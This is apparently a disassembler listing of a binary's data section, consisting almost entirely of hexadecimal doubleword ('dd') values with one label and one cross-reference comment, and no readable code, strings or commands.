dd 0F9EEBCE2h, 0F491984Eh, 0B8009724h, 0F160EBE7h, 9FA7DCD9h
dd 694D0076h, 0C467CA8Ah, 6008DEAh, 0CCD72F2Dh, 4D0DF947h
dd 8912B4DBh, 2924C3FCh, 2B9937F8h, 0A4935B0Fh, 10E69302h
dd 720AB9E0h, 4E3C0C4Dh, 8475D480h, 9292h, 0C3D2F2CEh
dd 58C43C2h, 2C22CA00h, 4D624266h, 0FE57012Ah, 8696FD83h
dd 1ED993F3h, 0BDC8B4h, 58F5EF7Ah, 991571DDh, 9CB2E412h
dd 0AE228E2h, 817A30h, 71CBB5BCh, 50293330h, 0EC6EAF5Bh
dd 4F0FE01h, 1959882h, 2F3B54ADh, 3C233Ch, 206757D3h, 0E90017CAh
dd 0B38CCD9Ch, 2E6D2DCCh, 5EC00A36h, 0A11FD746h, 953EC0D8h
dd 609FA08Ah, 0D6BD2F09h, 0B394A035h, 126EA52h, 7BCFE43h
dd 4861FAD7h, 54034CECh, 0F289C690h, 479AC84Eh, 487313D1h
dd 0F11000Dh, 8296275Fh, 0C06C2097h, 39EC8F9h, 11ADDE7h
dd 9103C11Eh, 0F580434h, 0B745B897h, 781300C3h, 6A1DA39h
dd 707D4384h, 20833327h, 6575CEF8h, 8A900096h, 0CD135474h
dd 102E3D79h, 0C802FE51h, 71C509D6h, 1801D91Ch, 737F0047h
dd 0C41E9694h, 2218D70Bh, 6A814185h, 977371h, 6D4BD075h
dd 0B5EDAF43h, 12C070C9h, 0C3EC8F9Ch, 3A83E4h, 0E177539h
dd 41A5AB36h, 35DAC200h, 8DD3FC97h, 0B4F9554Ah, 0B3BC8C6Ch
dd 7FBA028Ch, 0F30863DDh, 7366B4B0h, 771F83FEh, 1D8C46F4h
dd 4EE39A5h, 0DC6C54B3h, 0BA289057h, 0E1543DB6h, 0D490B19Ch
dd 0D7FCB200h, 37529608h, 0E30E269Eh, 0C8BC0760h, 0D072A1A5h
dd 0D4902F9Bh, 0B6499114h, 2F2904E0h, 4FD888EBh, 53708F00h
dd 28B7F938h, 9E150035h, 52ACABFCh, 249F6308h, 14F80DF8h
dd 0B8EF0500h, 0A6192A28h, 0B244DC25h, 5800F848h, 1617F801h
dd 3E280CE6h, 0B9288D11h, 0CAF814E2h, 9044F120h, 0CCF858A4h
dd 0E409A449h, 40C85C01h, 7400F3ECh, 4CCA05Ah, 58A87EB5h
dd 6500BE87h, 0AC8CA5B1h, 0D5067462h, 16D13E34h, 1C8B4CF1h
dd 0CBF49924h, 3059E051h, 79002418h, 0DD1BB8FDh, 582DE5E0h
dd 0E110D46Eh, 61A9CB31h, 606802C4h, 168CC0B8h, 1C58236Dh
dd 0B073DBE8h, 429E9690h, 0C425E4B4h, 30C6004Ch, 3E085603h
dd 0F93F1AE1h, 0F0B6825Eh, 483B86C8h, 726DF430h, 0A544984Bh
dd 67BAE45Ch, 6B8CB500h, 0BE5624C0h, 28972598h, 0D580D891h
dd 9F117B2Ah, 629CA303h, 9F57AE83h, 2DFA2A1h, 3A046460h
dd 34039EB0h, 0CF48B915h, 0A2B87053h, 0E17B31B4h, 0BDBED431h
dd 2C23C94Bh, 2938E729h, 2A00BFFCh, 0DA8269F3h, 353D9B31h
dd 4694842Bh, 7CE89CF2h, 0E88C0AB8h, 0C71B0087h, 617BB05Dh
dd 620451DDh, 0CC9D172Dh, 9F00D4B8h, 22E26D9Ah, 0D64EFEC9h
dd 1463A0A1h, 7E212309h, 32D05841h, 6C3003D4h, 48947F97h
dd 43C0D411h, 0C3AE8038h, 693DBB00h, 0CB34194Eh, 3C2700ABh
dd 83F9D21Dh, 0B04AEC21h, 88F0C088h, 46097CBDh, 7AB9418Eh
dd 2C192D40h, 1516984Eh, 0A4001077h, 2A02E90Ch, 0CC0495E8h
dd 0A4ECC4E1h, 76099B58h, 0D4C62DD5h, 0D0593F44h, 0FAE17C8Fh
dd 0CD977BCh, 74828891h, 65DE7602h, 852EA024h, 0B04E06C0h
dd 8F073F0Bh, 9FD05AC0h, 7FCA093h, 377569DBh, 763493C6h
dd 0CF18EAA8h, 98B00825h, 50A67B54h, 622C00Ch, 898C5C9Ah
dd 0B7CC1C4h, 484D8704h, 68D0D621h, 0A1B125EEh, 3E109E94h
dd 0CC9EAD47h, 20525C09h, 2FAE782Ch, 0E802B735h, 0F0528396h
dd 0E7B6BD02h, 76D0298Ch, 702C0080h, 4D6DF3EFh, 2D788216h
dd 0EEBD18C0h, 417B4AFCh, 0D6BCAC28h, 46C6CB5h, 7DF923C1h
dd 2A851CE0h, 41E0ABEAh, 54D807A9h, 0D58E423Ch, 94B802B1h
dd 3820C850h, 32220C45h, 1EA1E2DBh, 3C004099h, 882A90BDh
dd 0D5B4009Bh, 0C348CA43h, 0A5046156h, 350FCE1Bh, 41E04088h
dd 53A430ABh, 0AAEA8419h, 198F3D90h, 0D2E6DBC3h, 78B9B0D8h
dd 3F896600h, 1D57A652h, 76EA1h, 0C5582CFh, 380C1BC2h
dd 0A18CC5BDh, 0FFE5266Ah, 71C2C0D4h, 8E5F8AD9h, 0C3F402Ch
dd 178C71CAh, 0B52BCCEh, 784DD0h, 0E486AE61h, 2724232Ch
dd 9460CDF9h, 8D0B2187h, 0E5E57CBCh, 60B3E408h, 75BABFh
dd 9604FFFBh, 0FC324AD8h, 736A3101h, 91C187Fh, 0B4C82C4Ah
dd 0F2319EC0h, 5A2E3E7Ch, 1C113984h, 8D68C8F1h, 4098892Dh
dd 39F947B4h, 0DFBDE2h, 965C7218h, 94B484E3h, 8E465Eh
dd 38142807h, 20B73C0Ch, 200FC0C9h, 0FFA4249Ch, 480CF824h
dd 24B018E6h, 428C3D57h, 50823767h, 68F48E1Ch, 0FF29BE91h
dd 183DF9F0h, 0C704074Bh, 11A4DF2Dh, 481DEE72h, 10208188h
dd 2A831347h, 4B40D00Bh, 50D2E30h, 0E9582FF4h, 23D82F2Bh
dd 47F1038Dh, 3DC0DD16h, 7A4CC49Eh, 83F0928h, 0F9AC0960h
dd 180CF198h, 0EB3C0240h, 0D3988111h, 0E251E440h, 0C2BC9182h
dd 0A31E5189h, 7A3F1420h, 8B1D0627h, 0E8F131E7h, 83D0F402h
dd 5A449818h, 0DCC089D1h, 24002A04h, 35D095A3h, 13CA0BC3h
dd 0B094B67Ch, 2B6087F8h, 0DE192238h, 2DD8A12Eh, 0E690046Fh
dd 988A3Bh, 59FCC40Eh, 39E046F3h, 5048BDC2h, 3C1421C2h
dd 8EBC0B00h, 6400B5B5h, 40087872h, 0D5B6E383h, 341E04E0h
dd 0BCD844FDh, 20A38050h, 393E8F0h, 0CF45C051h, 0B116B823h
dd 4B30BBAh, 0EF30B4E2h, 0CB5F28Dh, 0CAC92395h, 30F571E1h
dd 0E3C19B8h, 0BE7A1245h, 0FC64B006h, 24093D20h, 8F1B5D16h
dd 0C12F88C0h, 61BDFFDCh, 20207182h, 0D0F23A80h, 67E35325h
dd 603164C0h, 0A387334h, 89B6BB40h, 1F1E85B8h, 465CE43Eh
dd 24C004EDh, 209E96A5h, 6302ACD6h, 218A4B73h, 315C7CD8h
dd 0EE7CF8h, 12544D8Dh, 455FE9F3h, 0A424F45Ch, 8EEEC448h
dd 2093F9F7h, 0D0A13E28h, 0C7BD10E8h, 0E0A9C93Bh, 0E4BC3C68h
dd 16BB4600h, 5B981589h, 621D00EAh, 80D3EEEh, 0CF1F7F24h
dd 0C0AF2186h, 324D298Ch, 0EB8177EAh, 200D7841h, 808A75ECh
dd 0F93E47F8h, 0D8B04B74h, 5D587504h, 32530065h, 22275CFEh
dd 0BC90BF9Fh, 6BE3BDC3h, 0BCD50C20h, 40ACBEBAh, 70E54E48h
dd 24D01C5Bh, 740C62Ah, 46ECC8BEh, 0EA7632DAh, 8800ACE4h
dd 8D275773h, 0BA85CAh, 5F5D252Dh, 58C2EF1Eh, 7508E4B6h
dd 687949E5h, 47183B59h, 1640C05h, 0C8802F8Ah, 0B8F4534Eh
dd 1DF31128h, 0A2000BCh, 9B45E7DDh, 0C85500C3h, 0EF546CDBh
dd 34247B93h, 591E186Ah, 0F5FC01E0h, 4A1C7D2Dh, 5083047h
dd 756EEF00h, 0A1F8C90Eh, 0A2191023h, 218B09A7h, 61E86007h
dd 71860903h, 0E470A37Ch, 0D8797C99h, 80007318h, 4868798Ch
dd 60A5E4Bh, 65AE4695h, 3E1CA0ADh, 68EFB577h, 7C3A5E94h
dd 58B3481Ch, 6CB6610h, 0E83C7187h, 0EA543B88h, 9A00B838h
dd 59A592C8h, 0E300FBCBh, 60721BC0h, 0CE5D69A8h, 278C8650h
dd 7D02D068h, 63A7BF32h, 0F8A37DEEh, 83F9230Dh, 0C9A82884h
dd 2058D0B5h, 0BA3F3D59h, 0BFD20AEh, 0BCAA3072h, 71F318C0h
dd 44331BF0h, 0C17B115Bh, 303A0E0Dh, 9DBEBAE4h, 5FFC21B5h
dd 598454F9h, 0CAC1A6h, 7046CA8h, 0C90C07E3h, 15D034F3h
dd 63CC421Eh, 28803DF2h, 77B7C1EEh, 113C3927h, 0BC50BC58h
dd 7522C352h, 8E4612A4h, 0A004C4B1h, 76053FCCh, 3FDF932h
dd 202FE0E4h
dd 0C90301EAh, 0F9319DE9h, 82795EB5h, 98A91A24h, 0A3A16482h
dd 0A977B801h, 33C49838h, 4F581445h, 2C2528C2h, 2B882321h
dd 0E7A502FCh, 0B9867F3Fh, 0CCAD29C1h, 0D902EA06h, 490129C9h
dd 0D09D55B4h, 0B1803191h, 0F03688F2h, 9B778201h, 93318D5h
dd 0B9B86078h, 0F88E008Ch, 1E336DE6h, 0C8B0348Fh, 0BF1EC484h
dd 61157916h, 74D526F8h, 0A3CFE180h, 1873624Ah, 314884C7h
dd 0E000FFE2h, 0CF670F5Fh, 4574CEEh, 0EA4F272Dh, 1234D12Eh
dd 167FEC4Bh, 2AD9C503h, 0A0B5ED5Dh, 74BDCDh, 3F2494DCh
dd 0C4F4BF69h, 0ECD6FF02h, 560CA7C6h, 0D8465E5Ch, 0EF177600h
dd 2FE795FAh, 84736608h, 0C21C803Ah, 0E27709DFh, 9C81571Ch
dd 0C40F5980h, 9019CDC5h, 0DAED17E4h, 0A26CF321h, 7503300Ch
dd 0AB4B4300h, 8EBB5308h, 0B4D64891h, 0AC5DD49Fh, 4517743Eh
dd 0D7A0E5BAh, 45DC75C1h, 0C1A4AC3Ch, 23653FB0h, 82C5DF03h
dd 0F0FE2DF8h, 0A712EF01h, 820E9B9h, 9EFF032Bh, 52F95EE3h
dd 0B8C8204Eh, 160E003Ch, 614317Eh, 24011B12h, 9CD94A7Dh
dd 0F5085D45h, 670062FCh, 7235542Ah, 4B2C4BC9h, 0AD7085C6h
dd 30885AFCh, 0A2CF2498h, 45611DEBh, 84E2E566h, 0D43094F0h
dd 92E4A4F0h, 0E287590Fh, 8EFF5DD6h, 0E0536206h, 597587Ch
dd 4F170FBBh, 9B012D78h, 3D5148F3h, 6F820084h, 298CCE26h
dd 12C96B4h, 2E7C5C2Ch, 0A17FC496h, 217C7094h, 3780ACFEh
dd 3BDE1720h, 57CF1EBDh, 1690011Fh, 306EA9E9h, 8B39632Ch
dd 94BCBF7Eh, 84E422F1h, 0C600AD8Dh, 0B271D123h, 3DB5h
dd 0FAF38123h, 0AE05CEA1h, 1C7B9235h, 0B6ACA4h, 16150574h
dd 2DBCCD73h, 77541909h, 452002C2h, 92AC72CCh, 42072050h
dd 0D83D8424h, 0E0D56E43h, 681DECh, 345E4D0h, 0A9B6BA8Dh
dd 0C025C8BAh, 57F4CA54h, 43045037h, 0DA20EA72h, 440EBD8Bh
dd 0AA823E8Fh, 6C1850B7h, 644B2C69h, 0A14718B6h, 83E6E9Ch
dd 6C01C023h, 0F9F2D148h, 0AA73C443h, 65CC62Bh, 9CE7BFF1h
dd 0B618110Ah, 0B3F8C745h, 5AFBF00Eh, 76F0B1BDh, 0D14AB09Ch
dd 45A7977h, 0F1DCB785h, 903EAF02h, 82382F23h, 0F53FBD8Eh
dd 64BC4804h, 76C09437h, 610F3046h, 0C843312Bh, 949A218Ah
dd 0A15D40EAh, 36829600h, 0FBC3DC50h, 706206CBh, 805E6078h
dd 354B7B5h, 6E3B7DCCh, 96E1F0A3h, 0D5BC420Fh, 467A1E21h
dd 0D8EC4C78h, 7E80008Ch, 67A35A29h, 0CC7733D1h, 919A2112h
dd 9B124D2h, 0BE82D8FEh, 0E827292Fh, 4F30D6D0h, 9144EE4h
dd 0D0960390h, 13BD8A34h, 0D40EEC9h, 3D39ADBCh, 23D01308h
dd 22E478C8h, 0C894AB9Eh, 0CB57887h, 0A76579D0h, 1C62171Ah
dd 3A44A212h, 0AE54505Ah, 8F2FB481h, 0AC509D60h, 9F413BC0h
dd 0BC01CC1Bh, 898BEC3Eh, 98849CA0h, 8F030683h, 0C08D88ECh
dd 0C3959A85h, 6CEC2C00h, 0DACF59BEh, 5889E6EEh, 0FEE89828h
dd 0E501AC43h, 0FA9D3BBDh, 0DED8D331h, 109AEDB7h, 68C9044Eh
dd 2804902Ah, 0F91323F4h, 8B495B1h, 0C8019D47h, 266CFC7Bh
dd 3438E0DCh, 5630266h, 7EFDCE27h, 0DCB856h, 4A30989h
dd 0BD9322DFh, 86EACD13h, 4C8CCB0h, 0BFF82F2Ch, 0F848BA31h
dd 9C60ADAAh, 3BFAE8Bh, 335D90h, 9FE20859h, 54BB35BEh
dd 0B41B8300h, 46978FE8h, 110E12FBh, 0A4704A26h, 5C4DA5ACh
dd 0CCFEB4C0h, 31E5002Fh, 0A19224E8h, 0D490BDB8h, 482BDF40h
dd 0FACA5CADh, 20EB97C0h, 1573080h, 0CC440F5Eh, 0BE02B489h
dd 9C48593Fh, 0BD09E346h, 0DA54912Fh, 0AD6521B4h, 42B7A828h
dd 0E494E530h, 612D603Ch, 0EFD4005Fh, 28238799h, 5718AE70h
dd 0CF700C9Dh, 6E1F0073h, 23FD2F2Bh, 4C9C2442h, 1D0CC2Fh
dd 0DB1F61E9h, 202408CDh, 8C99EB06h, 0B7039E00h, 0A8BB1D89h
dd 0BFD488h, 522515Eh, 0C7D9C3F4h, 5840EA00h, 0FD08D792h
dd 428A5E96h, 0BADE29BCh, 8C56B04Ah, 102ADA40h, 0CB471E64h
dd 3A1200BCh, 4A5CFDAEh, 0E3AD8500h, 8CCFBF46h, 0D0845FE2h
dd 5F1EA178h, 2DEB2406h, 686EFBE4h, 6A869BAh, 8C77374h
dd 0F2CD7D0Eh, 0C82392D1h, 7BF83D98h, 51432E9Bh, 0D04A8C91h
dd 964F19F3h, 3081AC02h, 0A8BADD99h, 2F444067h, 7BC2DF61h
dd 0F30AA804h, 7BE27D00h, 4C09DDE3h, 109EBFADh, 0DCC21E08h
dd 3862C0C9h, 83910E1Dh, 0DD7B6100h, 8C1AE6B0h, 17C90395h
dd 0AAB708D1h, 60293101h, 0D7502184h, 9328222Ah, 676DF421h
dd 64782AD0h, 0F9842076h, 44020074h, 229D098Ah, 93111C45h
dd 2DD88FF7h, 20D27500h, 0B8C92FE6h, 588467Ah, 0FE1F5AEFh
dd 9E80F445h, 9D81D874h, 9D78CB3Ah, 84C0AC50h, 6CD79E5h
dd 0A11804E6h, 0E351BE08h, 0F260D293h, 21DE8068h, 3B99DECh
dd 0AD2EE09Ah, 48D183F8h, 0BC844C8Dh, 0ECA1BD88h, 0DD412FD6h
dd 3AC918C8h, 5891EE81h, 484F00AAh, 5D9ED60h, 6916169Bh
dd 80F4E8EEh, 61E6732Ch, 976412AEh, 29B4B988h, 0CC00E01Bh
dd 0E8928B8Fh, 0B2400B50h, 1600DAF4h, 6A7AA0C3h, 0D34A65Ch
dd 3047B81Ch, 23AC2F2Ah, 0F3630ED7h, 904615A0h, 0D012C968h
dd 88E8D9FFh, 0B11FC080h, 10004F48h, 61579368h, 3BF9EAABh
dd 7182A8A9h, 21AE46F3h, 55F488A1h, 7514264Ch, 0F810366Bh
dd 74209E18h, 610EB946h, 3DA92C62h, 991B7E80h, 28044C2Bh
dd 0C218AA2Eh, 66984DAAh, 0E82D0B9h, 0CBE74E00h, 0B4818CE6h
dd 4021B579h, 15450725h, 64406C85h, 0D53EB2EFh, 146C9B6Eh
dd 1510F807h, 509B07C4h, 0C40C89Eh, 0F7D9E3h, 2D61D32Ch
dd 0C47A520Fh, 902B4Ch, 57E3FE37h, 24D0C3C9h, 4180DDE2h
dd 2106A95Eh, 686E3F18h, 0BA84BF00h, 5C1686BEh, 0E4B2B54Ah
dd 7D2E6D0Fh, 0B7386B62h, 0DD003C6Ch, 523DF3A7h, 6FE97BE4h
dd 47166471h, 3463CF30h, 0E2748292h, 0BC0BC620h, 0C091279Eh
dd 0BD9D471h, 0EC175818h, 0A4D97089h, 23C02B2Bh, 402E0009h
dd 2DDCE396h, 2DC8B251h, 80C32C94h, 1008C425h, 7E8FD471h
dd 0CFCBC41Dh, 0CD2FA744h, 0F8400BFh, 230C79CAh, 21C5BE25h
dd 0FC2A53F4h, 0D783398Bh, 6508E071h, 6A6600CCh, 0B0CD4119h
dd 1B645CB6h, 3D0040BEh, 0ECD3E8A7h, 9B697201h, 707D5329h
dd 0C098146Ch, 16746DF9h, 7CE1702h, 0D4FBB326h, 1C064034h
dd 2C00585Ah, 2587734Bh, 2C6C19Dh, 0CAE9FEE7h, 24E0CBB3h
dd 7D803C76h, 3AC8FAB5h, 90608ED6h, 9AA44872h, 0F1AF5A1Fh
dword_4E414C dd 0B231D700h, 0DB342Ch, 0E67AC83Eh, 0DED6E7Ch, 7484D126h
; DATA XREF: ___:off_43ACE4o
dd 0B001B5C0h, 0C0C55F47h, 2ACA7240h, 0A91760B9h, 414484E0h
dd 41A44146h, 6702E2DAh, 65385EAFh, 6E1C212Bh, 7030883Ch
dd 67030BB2h, 0C854F450h, 1F0BE5E4h, 0CA298D3Bh, 9760823Ch
dd 354DC7Fh, 15F93033h, 0B1383285h, 0C0B67225h, 4451B727h
dd 928F4700h, 596A3129h, 0B93DD0A9h, 6825F9EBh, 0C2D8B27Ch
dd 21FDB4AEh, 425D967h, 0C287D8A8h, 35A412Eh, 0FCF86D7Ch
dd 5170A631h, 700090BEh, 0B54320E3h, 0B85AA48Eh, 0C58590D1h
dd 0DCF448F3h, 0DD8E25A2h, 57D84001h, 4471D2CDh, 5B1893D9h
dd 0AFAE1D01h, 9CF59A7Ch, 0E026D7F1h, 1C02F317h, 73E02490h
dd 3202FAD0h, 2F291E00h, 0D4A8B04Eh, 0FEC70070h, 0E13A96BAh
dd 0E472EC09h, 0A3837E00h, 0A81AC0ACh, 20BB6063h, 3554A289h
dd 838F2900h, 13BADB1Ch, 0CFC74B1h, 3C59C7C5h, 4005AD1h
dd 847B90ECh, 0FAEABE0h, 1B1C01Bh, 3AE4FA20h, 741F69D8h
dd 0F201C2BBh, 6B7C7AE6h, 57BE8840h, 588BBD59h, 810090D1h
dd 0C423B9C0h, 0B04752F3h, 89100C48h, 0BDC01CE1h, 2AE0C665h
dd 4D096D0h, 0B58EEA05h, 0C82BFE47h, 1E23A9A0h, 50290118h
dd 80775D08h, 58802A94h, 0D76D8071h, 0B371C7Ch, 0A2F6E896h
dd 0C2773108h, 0D2B24C18h, 20305406h, 0A520C37Ah, 0BAE73385h
dd 81AC821h, 631882BCh, 253018EDh, 0DA93108Dh, 34BD20C6h
dd 0B5653118h, 88AA9D10h, 18AFD608h, 0A3746938h, 0C4C5EF80h
dd 6E02E08h, 51206869h, 70F0DF2Fh, 0D18C6C4h, 0C36208C1h
dd 0E6CE1F1h, 130846C8h, 51710C30h, 88A81508h, 38C4DD38h
dd 0A30C59B9h, 4B63EDF9h, 31458510h, 89419308h, 3C208DCAh
dd 66CD08A4h, 62B04F2h, 3118AB60h, 4DF8979Bh, 47188C2Ch
dd 66CC083Ch, 988187Bh, 3BA06954h, 7DD44F54h, 9DB318C6h
dd 40A13108h, 883F9C18h, 8262008h, 0FE083D2Eh, 70C60833h
dd 0D2D19D19h, 77F73443h, 20536710h, 0E808D8ECh, 4DF10C87h
dd 766FFA18h, 0C4AC808h, 0DB2081FCh, 26089F64h, 0CD291C91h
dd 0B4C4408Ch, 1C92A208h, 0C6516D44h, 8394A29h, 0DA2024FDh
dd 408E4140h, 5E8968F9h, 67E1EC51h, 1634C01h, 2088882Fh
dd 6A2CBC3Ah, 19AC1833h, 18CCC6A1h, 374998C7h, 0C45A2EE1h
dd 0D3A87F08h, 102A6DC8h, 0B6249036h, 7CAA105Fh, 8DC8831h
dd 0E402E8BAh, 7754B4A2h, 5344B02h, 9EF0469Ah, 2D205875h
dd 58EE2079h, 188CB049h, 0FD1024D1h, 360780EAh, 81D93C80h
dd 3F5424BCh, 62B27A40h, 30DD10F8h, 2041D006h, 1662DB02h
dd 3AD5D61h, 803C8A65h, 556CC04Bh, 0BC11C4D6h, 1099A596h
dd 8C85E105h, 0B1660331h, 0F8A9D1E1h, 0AA61C831h, 6A088C4Ch
dd 40853094h, 0A340543Eh, 0E9E4A890h, 5608CAA2h, 31EC99D0h
dd 0C7F18C96h, 0A8CA08B3h, 0C6A144C0h, 50749508h, 83B02854h
dd 89398E66h, 80A74908h, 6398927Eh, 8620193Ah, 0C0D5082Ah
dd 0B0E84D54h, 0E1527492h, 10B932D4h, 25406993h, 0E9BDDC57h
dd 0F053B831h, 9508105Ch, 0D885185Eh, 80801038h, 2A2558C3h
dd 0C46420EBh, 5ACA372Bh, 7B80C061h, 2F98FF2Ch, 0FC5D10C0h
dd 7305C0E8h, 40BC0510h, 951F53CFh, 0E64500ACh, 0FE4316F0h
dd 6DFCA900h, 1FB248EAh, 582905D7h, 0E452D304h, 0C3007230h
dd 47F4BCD2h, 4A2E1F93h, 14BCA7h, 0F5D31C75h, 12BE302h
dd 0E95355FBh, 70227150h, 6103C0C5h, 26183732h, 0EB83E086h
dd 510D010Bh, 782AC2EAh, 0F454F21Ch, 1F75E100h, 0CA5E096h
dd 0CDD0A754h, 0C1604660h, 1F8A23B8h, 2F65E8B6h, 98C82582h
dd 0FF045D31h, 77A5C8BBh, 0DBFC01EBh, 0CD94B547h, 0B0587A96h
dd 16BC7218h, 91C2C48Bh, 726C660Ch, 7BE0048h, 738C83D7h
dd 0F1F0E5h, 87A2A73Ch, 80AE252Ah, 83CB1F05h, 0C418A09Bh
dd 1FD96948h, 501C6CBCh, 0A1540350h, 0C0CEB326h, 125C34E9h
dd 807BEA4Dh, 0C497E6D4h, 0B4008DE6h, 0D8AE7426h, 6014EAA5h
dd 0E9CE20D1h, 0C461135Ch, 0B2D460A0h, 29BE1898h, 46783091h
dd 2E8A83Ch, 72D0CF52h, 0A2DC8127h, 0E882DB1Fh, 1CA61DB7h
dd 17769C80h, 0E73F7C97h, 369480D9h, 6EDC7159h, 21EA3FCEh
dd 0FB9960E0h, 662912F4h, 0BC07FCA9h, 1CED72Fh, 0E02D1C8Fh
dd 0F10E5096h, 0D196D05Ch, 0D40F7A19h, 43BA170h, 814AC7F4h
dd 0FCFECB45h, 0F6008665h, 0C9AF1BC2h, 2C502C0h, 9CE57C2Bh
dd 0C4D47E5Ch, 0D109811Dh, 14400FBAh, 0FB1E0AB4h, 9960FCDBh
dd 9EF45CFCh, 90760984h, 4225E0C8h, 29BF2435h, 402427FBh
dd 0AA1DEA4Bh, 2483BF80h, 0B7683DD2h, 0B98482D8h, 0AF5CE481h
dd 805889E0h, 223C009Eh, 6AFD82EBh, 0C118303Ah, 0A26CB11Eh
dd 0B803B898h, 0FE814471h, 7CC176D0h, 847F0D9Dh, 0C060A946h
dd 8319C66Ah, 165041D6h, 0EA01288Bh, 0D475F491h, 74007914h
dd 1FCDC40Ah, 0E44F93Bh, 0D3B0D97Ch, 0D2DD6D60h, 201EE630h
dd 94E40BA5h, 11768209h, 80432984h, 0A078EA1Eh, 0D6FFBAD4h
dd 0D15A4F2Bh, 248CEB90h, 84121228h, 74036760h, 0F64DE1h
dd 0D02E8B20h, 0BB7A6BE0h, 0C23F2000h, 0A047112Bh, 0EA6E1697h
dd 6A0C0CFh, 8200CE70h, 7A872EE9h, 161AB92h, 0A974E476h
dd 0DDF3A11Eh, 0CAE42018h, 9138BCF4h, 10A4D3C4h, 2B15E7ADh
dd 689084FFh, 0EA66AB04h, 28E879h, 30741921h, 9F54A6h
dd 9CEEC562h, 1E83C113h, 9C8FB5h, 0FAC3C41Ch, 44773981h
dd 83EF5102h, 808089F9h, 6A60E180h, 37EAA10Ch, 48C2581Ch
dd 66132029h, 0E1042071h, 88A8ABADh, 0EB00D0A6h, 7557CFE7h
dd 5CDF5426h, 62766EAFh, 4204C031h, 0BAAAE7E3h, 2E482C49h
dd 4000B41Dh, 1EDB6E60h, 9AEE0043h, 0CE6ABDF6h, 5402B34Eh
dd 0DDC87310h, 0FA82D5BCh, 0C880782Fh, 0E739EB04h, 0FB9AE200h
dd 1DC54531h, 707A6079h, 190BD960h, 855CF30Ch, 0A4D7A8CBh
dd 82E63EACh, 10A72A18h, 8A3A647Dh, 0FE3E1FCCh, 1762009h
dd 0ACED80B8h, 4977B424h, 0DE941899h, 44C16512h, 0C458F918h
dd 0BA906238h, 2310060h, 2D9540C4h, 5D61FC80h, 48331F03h
dd 3182992h, 5E1BEAD7h, 9D3F4878h, 8854305Ch, 0C2B74BEBh
dd 3983A6B8h, 0BCBC9849h, 99961888h, 908CE310h, 0A15C194Ch
dd 0F172385Ah, 0CCEC301Fh, 12003D4Dh, 0ECA09783h, 884F4C46h
dd 0B8013A3Eh, 0EEEB4270h, 8080BE60h, 1FFFD1E9h, 72751C5h
dd 0D4E10F20h, 78A04955h, 2674CE5Eh, 0B15CDD04h, 8C88AD8Dh
dd 0B4019546h, 303688CCh, 0AE4C6114h, 9D7104B8h, 58CCE3D6h
dd 0A07893BEh, 9C7030F0h, 652908D1h, 8172F001h, 0E417E084h
dd 0CA3430h, 82EE0259h, 23256662h, 0C90118ECh, 5CFAABEAh
dd 90925DF9h, 0C4FC0585h, 6B648CC5h, 0B9C8DE86h, 0CDCEDD00h
dd 0AF1E20A1h, 31A09860h, 98BC1F10h, 1C770820h, 170141BBh
dd 0FEC673D2h, 3E501330h, 668376D9h, 0B475679Fh, 1117000h
dd 0BE3FB5DFh, 4CCB00A1h, 73439226h, 8E00DA2Ch, 52BFF34h
dd 0AA59DAFh, 486EEAA2h, 0CB016BCh, 0C1B88460h, 0D588E450h
dd 0A01DA740h, 0F8C903B8h, 18064838h, 2C78F510h, 82BE3497h
dd 9D76D5FFh, 70C06ACCh, 0A12B019Ch, 4C6F2E5h, 0BC05E296h
dd 42778880h, 0A527D06h, 0E199EAD3h, 579AC94h, 0F7969Ch
dd 46CD53BEh, 0BEE86B80h, 60EBF93Bh, 0A9159508h, 146C7C54h
dd 0BC269E5Ch, 0EF214E00h, 845066C6h, 700D2E30h, 0AB29CF7h
dd 0F9635CFBh, 1DAF03C8h
dd 0A83ECDB9h, 11551818h, 14BC6F40h, 0DCDEC48Fh, 2245A8C4h
dd 0B8800A27h, 830A6449h, 7949E34h, 8236BFC2h, 40E89AFCh
dd 0D60015E1h, 8764917Dh, 7CA6740Fh, 0ECC900CAh, 1DFFD906h
dd 88C0B7C3h, 0BF1F6A25h, 0C0D65804h, 60BC9441h, 9C335415h
dd 312F4C4Ch, 72292003h, 0BFA088C4h, 0CC0014BAh, 2008AD6Dh
dd 3C4ECE2h, 0EA803A14h, 0D121A550h, 5057919Eh, 0C012AD48h
dd 6404371Fh, 0E7628BCBh, 204F1E10h, 0D0A00381h, 1A0BB030h
dd 23EDC3EAh, 0BBE10EE4h, 59A6F3h, 24835E5Ah, 44C5C639h
dd 58468A3Bh, 880280DCh, 201D9B1Ah, 234C0FE1h, 382E000Ch
dd 83A7936Eh, 303E6492h, 0FCC4C144h, 7239DDBCh, 32830A30h
dd 0D0B79009h, 0C0AA1F87h, 0ED6BD302h, 1E78600Ch, 68C7599Dh
dd 0D9285700h, 0DCEACD73h, 634CE09Fh, 83650FA0h, 0D3C6D719h
dd 2D63A84Bh, 0C21DC259h, 6A2CE995h, 0D088AC34h, 44969C10h
dd 0C42BC18Ch, 8998D2BCh, 0CD5C4460h, 85125092h, 2434AFD1h
dd 0A529000h, 7562Dh, 1BDCB606h, 27D3827Bh, 2E1AD07h, 22134EC4h
dd 0AC110129h, 0D41C7636h, 0FE808728h, 6A8379CEh, 0CB88C78Bh
dd 97CDDC25h, 9EA51F4h, 0A89C4215h, 37528C60h, 78DFA0C9h
dd 20389090h, 680C3EDEh, 18C6085Dh, 1640D619h, 83E0C1F0h
dd 2E047279h, 9601A8E1h, 0CF54A5E8h, 336BBC30h, 0BE202159h
dd 0AAEA183Ch, 67F808B3h, 8D45D104h, 9C88D0CEh, 49A640E3h
dd 2C0FCAF0h, 321D9F11h, 5B248CC0h, 4C1C797Ah, 0CAC0309Dh
dd 0E27D6C04h, 0ACBA0228h, 8317808Ch, 40165E9h, 8C5E2489h
dd 0C4FC3851h, 45123081h, 0E3F93DF0h, 51B16CC8h, 0C3CB0A00h
dd 0DFE41FE6h, 1C7C09A5h, 0D430193Ch, 6B185C95h, 0C0D9A2DDh
dd 5A734CA5h, 0E2D5CA0Bh, 0CEF27410h, 301B8A17h, 84A0F413h
dd 0B83099DBh, 7C93898Fh, 65C14440h, 11C1889Eh, 6DCA71D1h
dd 99BC4h, 0E5E8C2F5h, 7B826695h, 0B0D68001h, 851183FAh
dd 0E95C70A4h, 5C290C09h, 0C8AE9487h, 0E0F57B00h, 4A82E18Ah
dd 3C3006A1h, 7808E91Dh, 2EAB761Ch, 592C2C58h, 0E8E8C283h
dd 3FC8AD9h, 4C1EE03Ch, 94838258h, 82CB0049h, 8903587Dh
dd 52C67F0h, 3DCDF93Eh, 1AD0830h, 0ABC9969Dh, 0D31C81FFh
